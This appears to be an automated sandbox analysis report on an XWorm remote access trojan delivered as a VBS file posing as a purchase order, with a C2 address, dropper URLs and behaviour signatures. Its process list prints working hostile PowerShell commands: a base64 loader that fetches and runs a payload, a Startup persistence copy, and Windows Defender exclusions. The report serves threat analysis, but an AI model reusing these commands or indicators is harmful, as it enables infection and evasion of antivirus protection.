Analysis
- max time kernel
149s - max time network
147s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/02/2026, 13:30
General
- Target z1PEDIDODECOMPRAEPERFILDAEMPRESA.vbs
- Size 1.1MB
- Sample260217-qrybfabx5c
- SHA256 ff98a969bda3fcfae8b6ffb70abb685a66871f759e192f8f3e9f5f866dfb9663
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://ia600603.us.archive.org/13/items/msi-pro-with-b-64_202602/MSI_PRO_with_b64.png
-
exe.dropper
https://ia600603.us.archive.org/13/items/msi-pro-with-b-64_202602/MSI_PRO_with_b64.png
Extracted
-
xworm
-
5.0
-
103.83.87.178:1991
-
wyEkH7RXlZb6MVBJ
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops startup file 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\z1PEDIDODECOMPRAEPERFILDAEMPRESA.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\z1PEDIDODECOMPRAEPERFILDAEMPRESA.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\z1PEDIDODECOMPRAEPERFILDAEMPRESA.vbs' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGRldml0YXRpb24gPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRkZXZpdGF0aW9uLkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgIk1vemlsbGEvNS4wIik7JGRldml0YXRpb24uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskZGV2aXRhdGlvbi5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7JHBvc3RwbGlvY2VuZSA9ICdAIyQl8J+SlvCfkpbwn5KW8J+SlmEl8J+SlmLDp2RmYSXwn5KWYsOnZGbwn6SeIyQl8J+SlfCfkpbwn6SmwqgjI+KZgOKdpDovL2lhNjAwNjAzLnXwn5KW8J+kpsKoIyPimYDinaQuYXJjQCMkJfCfkpbwn5KW8J+SlvCfkpZpdmUub3JnLzEzL2lhJfCfkpZiw6dkZmVt8J+SlvCfpKbCqCMj4pmA4p2kL23wn5KW8J+kpsKoIyPimYDinaRpLfCfpJ4jJCXwn5KVcm8td2lhJfCfkpZiw6dkZkAjJCXwn5KW8J+SlvCfkpbwn5KWLWItNjRfMjAyNjAyL01TSV9QUk9fd2lhJfCfkpZiw6dkZkAjJCXwn5KW8J+SlvCfkpbwn5KWX2I2NC7wn6SeIyQl8J+SlW5nJy5SZXBsYWNlKCdAIyQl8J+SlvCfkpbwn5KW8J+SlicsICdoJykuUmVwbGFjZSgnYSXwn5KWYsOnZGYnLCAndCcpLlJlcGxhY2UoJ/CfpJ4jJCXwn5KVJywgJ3AnKS5SZXBsYWNlKCfwn5KW8J+kpsKoIyPimYDinaQnLCAncycpOyRmbHVzaGFibGUgPSAkZGV2aXRhdGlvbi5Eb3dubG9hZERhdGEoJHBvc3RwbGlvY2VuZSk7JHBsYXRlYWJsZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkZmx1c2hhYmxlKTtpZiAoJHBsYXRlYWJsZSAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJykgeyAgJHRldHJhaHlkcmF0ZSA9ICRtYXRjaGVzWzFdOyAgJG1pc3V6ZSA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHRldHJhaHlkcmF0ZSkpOyAgJGFyZ3NCYXNlNjQgPSAnSnoxUlNHVXdOVk5hYzJ4dFdqTldiV0l4YkROTWVWWkhZbWhXUjFwMlNWUk9lRFI1VFRCSmFreDVhMnBNZUd0NlRIWnZSR013VWtoaEp5d25KeXduUXpwY1ZYTmxjbk5jVUhWaWJHbGpYRVJ2ZDI1c2IyRmtjMXduTENkT1lXMWxYMFpwYkdVbkxDZE5jMkoxYVd4a0p5d25KeXduVFhOaWRXbHNaQ2NzSnljc0oxVlNUQ2NzSjBNNlhGVnpaWEp6WEZCMVlteHBZMXhFYjNkdWJHOWhaSE5jSnl3blRtRnRaVjlHYVd4bEp5d25kbUp6Snl3bk1TY3NKeWNzSjFSaGMydGZUbUZ0WlNjc0p6QW5MQ2NuTENjbkxDY24nOyAgJGFyZ3NTdHJpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRhcmdzQmFzZTY0KSk7ICAkYXJncyA9ICRhcmdzU3RyaW5nIC1zcGxpdCAnLCcgfCBGb3JFYWNoLU9iamVjdCB7ICRfLlRyaW0oJycnIicgKSB9OyAgW1NvZnR3YXJlLlByb2dyYW1dLkdldE1ldGhvZCgiTWFpbiIpLkludm9rZSgkbnVsbCwgJGFyZ3MpO30=')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Msbuild.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_d4g5cjkt.3yf.ps1
memory/904-31-0x00000280E1620000-0x00000280E1632000-memory.dmp
memory/904-30-0x00000280C7770000-0x00000280C777C000-memory.dmp
memory/904-24-0x00000280E1B80000-0x00000280E1C9A000-memory.dmp
memory/904-29-0x00000280C74E0000-0x00000280C768C000-memory.dmp
memory/940-80-0x000000006FA80000-0x000000006FACC000-memory.dmp
memory/940-89-0x0000000004F70000-0x0000000004FFA000-memory.dmp
memory/940-88-0x0000000002B50000-0x0000000002B69000-memory.dmp
memory/940-90-0x0000000005F70000-0x0000000005FD4000-memory.dmp
memory/1444-95-0x0000000006580000-0x00000000065E4000-memory.dmp
memory/1444-92-0x00000000063F0000-0x0000000006482000-memory.dmp
memory/1444-98-0x0000000006580000-0x00000000065E4000-memory.dmp
memory/1444-99-0x0000000006580000-0x00000000065E4000-memory.dmp
memory/1444-32-0x00000000056F0000-0x000000000578C000-memory.dmp
memory/1444-94-0x0000000006580000-0x00000000065E4000-memory.dmp
memory/1444-93-0x00000000063C0000-0x00000000063CA000-memory.dmp
memory/1444-91-0x0000000006780000-0x0000000006D26000-memory.dmp
memory/1444-25-0x0000000000400000-0x0000000000410000-memory.dmp
memory/1444-104-0x0000000006580000-0x00000000065E4000-memory.dmp
memory/2036-23-0x00000282926C0000-0x00000282926CC000-memory.dmp
memory/2036-22-0x00000282924E0000-0x000002829258E000-memory.dmp
memory/2964-0-0x0000024C182C0000-0x0000024C182D0000-memory.dmp
memory/2964-8-0x0000024C7F640000-0x0000024C7F662000-memory.dmp
memory/2964-19-0x0000024C7DCF0000-0x0000024C7DD9E000-memory.dmp
memory/2964-21-0x0000024C182A0000-0x0000024C182B2000-memory.dmp
memory/2964-20-0x0000024C000E0000-0x0000024C000EC000-memory.dmp
memory/2964-9-0x0000024C182C0000-0x0000024C182D0000-memory.dmp
memory/2964-1-0x0000024C182C0000-0x0000024C182D0000-memory.dmp
memory/5072-59-0x0000000007A60000-0x0000000007A7A000-memory.dmp
memory/5072-57-0x0000000007720000-0x00000000077C4000-memory.dmp
memory/5072-62-0x0000000007C70000-0x0000000007C81000-memory.dmp
memory/5072-63-0x0000000007CA0000-0x0000000007CAE000-memory.dmp
memory/5072-64-0x0000000007CB0000-0x0000000007CC5000-memory.dmp
memory/5072-65-0x0000000007DC0000-0x0000000007DDA000-memory.dmp
memory/5072-66-0x0000000007DA0000-0x0000000007DA8000-memory.dmp
memory/5072-69-0x00000000050F0000-0x0000000005109000-memory.dmp
memory/5072-48-0x00000000076C0000-0x00000000076F4000-memory.dmp
memory/5072-71-0x00000000061E0000-0x0000000006244000-memory.dmp
memory/5072-60-0x0000000007AD0000-0x0000000007ADA000-memory.dmp
memory/5072-61-0x0000000007D00000-0x0000000007D96000-memory.dmp
memory/5072-46-0x0000000006710000-0x000000000672E000-memory.dmp
memory/5072-44-0x00000000062A0000-0x00000000065F7000-memory.dmp
memory/5072-37-0x0000000006170000-0x00000000061D6000-memory.dmp
memory/5072-36-0x0000000006100000-0x0000000006166000-memory.dmp
memory/5072-35-0x0000000005800000-0x0000000005822000-memory.dmp
memory/5072-58-0x00000000080A0000-0x000000000871A000-memory.dmp
memory/5072-34-0x0000000005860000-0x0000000005E8A000-memory.dmp
memory/5072-33-0x0000000005160000-0x0000000005196000-memory.dmp
memory/5072-70-0x00000000051A0000-0x000000000522A000-memory.dmp
memory/5072-47-0x00000000067A0000-0x00000000067EC000-memory.dmp
memory/5072-56-0x0000000007700000-0x000000000771E000-memory.dmp
memory/5072-49-0x000000006FA80000-0x000000006FACC000-memory.dmp